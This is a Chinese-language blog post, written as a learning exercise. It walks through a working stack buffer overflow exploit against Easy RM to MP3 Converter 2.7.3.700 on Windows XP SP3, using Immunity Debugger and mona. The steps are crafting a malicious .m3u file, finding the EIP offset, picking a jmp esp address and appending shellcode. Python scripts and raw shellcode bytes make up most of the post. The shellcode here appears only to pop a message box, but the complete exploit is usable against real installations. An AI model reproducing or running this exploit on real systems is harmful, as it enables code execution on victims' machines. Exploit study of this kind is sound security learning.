2014-03-16

很早以前对漏洞利用这一块就有所了解,当时觉得这些都是一些小tricky,玩的都是一些故意的玩具漏洞,这段时间准备重新拾起来,开始按照教材corelan上面的教材一个一个对着实际的漏洞写exploit。这是第一篇,古老的buffer overflow。因为之前都是OD or windbg,现在要练习一下Immunity Debugger。所以这篇都是用的Immunity。

目标软件

Easy RM to MP3 Converter(版本2.7.3.700)

工具

Immunity Debugger

漏洞描述

通过创建一个恶意的.m3u文件将触发Easy RM to MP3 Converter (version 2.7.3.700)缓冲区溢出利用。

测试平台

 Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600

下面是详细的exploit步骤

1. 漏洞触发

我们首先构造一个30000个字符的.m3u文件,前面25000全为’A’,后5000个为’B’。下面是构造的脚本

	filename = "crash.m3u"
	f = open(filename,'w')
	data = 'A' * 25000 + 'B' * 5000
	f.write(data)
	f.close()

使用Easy RM to MP3 Converter加载这个crash.m3u文件,可以看到发生错误,查看详细信息,如图。

从图可以看到,溢出之后的返回地址是0x42424242,也就是’BBBB’,这说明要覆盖的EIP在25000到30000之间。下面使用Immunity的查件mona来进行精确定位。

2. EIP定位

使用Immunity Debugger加载Easy RM to MP3 Converter,Run起来,加载crash.m3u。遇到异常之后Immunity接手。

首先设置mona的工作目录:

!mona config -set workingfolder c:\mona\%p

创建包含5000个字符的pattern:

!mona pattern_create 5000

此时pattern文件在C:\mona\RM2MP3Converter\pattern.txt,将pattern中的5000个字符替换crash.m3u中最后5000个字符。脚本如下:

	filename = "crash_pattern.m3u"
	f = open(filename,'w')
	data = 'A' * 25000
	
	fp = open("pattern.txt",'r')
	data += fp.read()
	f.write(data)
	f.close()

pattern.txt是删除了mona生成的一些信息之后的纯5000个字符文件。再次打开目标软件加载crash_pattern.m3u,看到崩溃之后的EIP如下图所示:

在command中输入

!mona pattern_offset 366a4235

我们看到EIP被修改的位置是25000 + 1067。

此时我们再用如下脚本测试一下位置是否正确:

	filename = "crash.m3u"
	f = open(filename,'w')
	data = 'A' * 26067 + 'B' * 4 + 'C'*100
	f.write(data)
	f.close()

我们可以看到,EIP现在是4个B,偏移正确,下面就是如何修改这个EIP

3. 寻找shellcode存放的地址空间

再次使用上面.m3u文件,崩溃时,打开栈的窗口

我们看到在ESP此时为000FF730,EIP到这里还有3*4=12个字节。ESP开始用于存放shellcode。

4. 查找jmp esp地址

再次加载目标程序,Run之后Pause,在CPU窗口,右键 Search For ->All commands in All modules,在之后的窗口输入jmp esp。

我们选一个7C874413。

5. 构造最终的输入文件

	shellcode = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
	    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
	    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
	    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
	    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
	    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
	    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
	    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
	    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
	    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
	    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
	    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
	    "\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
	    "\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
	    "\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
	    "\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
	    "\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"
	    "\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
	    "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"
	    "\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
	    "\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
	    "\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"
	    "\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"
	    "\x40\xFF\x54\x24\x40\x57\xFF\xD0");
	
	ret = "\x13\x44\x87\x7c";
	filename = "crash.m3u"
	f = open(filename,'w')
	data = 'A' * 26067 + ret + '\x90' * 12 + shellcode
	f.write(data)
	f.close()

我们看到,成功利用了这个漏洞。



blog comments powered by Disqus